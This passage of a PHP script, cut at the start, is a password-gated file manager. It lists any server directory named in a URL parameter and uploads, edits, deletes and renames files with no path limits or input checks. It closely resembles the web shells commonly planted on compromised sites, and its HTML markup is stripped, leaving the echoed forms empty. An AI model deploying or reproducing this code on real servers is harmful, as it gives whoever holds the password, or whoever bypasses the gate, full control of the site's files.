SESSION_TIMEOUT)) { session_unset(); session_destroy(); return false; } $_SESSION['last_activity'] = time(); return true; } // Handle login form submission function handleLogin() { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === PASSWORD) { $_SESSION['logged_in'] = true; $_SESSION['last_activity'] = time(); return true; } else { echo "

Incorrect password!

"; return false; } } return false; } // Display login form function showLoginForm() { echo ' Login Required

Login Required


'; exit(); } // Handle logout function handleLogout() { if (isset($_GET['logout'])) { session_unset(); session_destroy(); header('Location: ' . str_replace('?logout=1', '', $_SERVER['REQUEST_URI'])); exit(); } } // Check authentication handleLogout(); if (!checkLogin()) { if (!handleLogin()) { showLoginForm(); } } // Original file manager code continues below... $currentDirectory = $_GET['path'] ?? __DIR__; function listDirectoryContents($directory) { $entries = array_diff(scandir($directory), ['.', '..']); echo "

Current Directory: $directory

"; } function determineItemStyle($path) { if (is_readable($path) && is_writable($path)) { return "color: green;"; } return is_writable($path) ? "color: gray;" : "color: red;"; } function processFileUpload($directory) { if (!empty($_FILES['fileUpload'])) { $destination = $directory . DIRECTORY_SEPARATOR . basename($_FILES['fileUpload']['name']); if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $destination)) { echo "

File uploaded successfully!

"; } else { echo "

File upload failed.

"; } } } function addFolder($directory) { $folderName = $_POST['folder'] ?? ''; if ($folderName) { $folderPath = $directory . DIRECTORY_SEPARATOR . $folderName; if (!file_exists($folderPath)) { mkdir($folderPath); echo "

Folder created: $folderName

"; } else { echo "

Folder already exists.

"; } } } function addFile($directory) { $fileName = $_POST['file'] ?? ''; if ($fileName) { $filePath = $directory . DIRECTORY_SEPARATOR . $fileName; if (!file_exists($filePath)) { file_put_contents($filePath, ''); echo "

File created: $fileName

"; } else { echo "

File already exists.

"; } } } function modifyFile($filePath) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo "

File saved successfully!

"; } $content = file_exists($filePath) ? htmlspecialchars(file_get_contents($filePath)) : ''; echo "

"; echo "
"; } function removeFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "

File removed.

"; } } function renameFile($filePath) { if (!empty($_POST['newName'])) { $newFilePath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; rename($filePath, $newFilePath); echo "

File renamed successfully.

"; } else { echo "
"; } } // Handle file operations if (!empty($_GET['task']) && !empty($_GET['item'])) { $itemPath = $currentDirectory . DIRECTORY_SEPARATOR . $_GET['item']; switch ($_GET['task']) { case 'modify': modifyFile($itemPath); break; case 'remove': removeFile($itemPath); break; case 'rename': renameFile($itemPath); break; } } // Handle POST requests if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileUpload'])) { processFileUpload($currentDirectory); } elseif (!empty($_POST['folder'])) { addFolder($currentDirectory); } elseif (!empty($_POST['file'])) { addFile($currentDirectory); } } // Display the file manager interface echo "
"; echo "

File Manager Logout

"; echo "⬆️ Go Up"; listDirectoryContents($currentDirectory); echo "

Upload File

"; echo "

Create Folder

"; echo "

Create File

"; echo "
"; ?>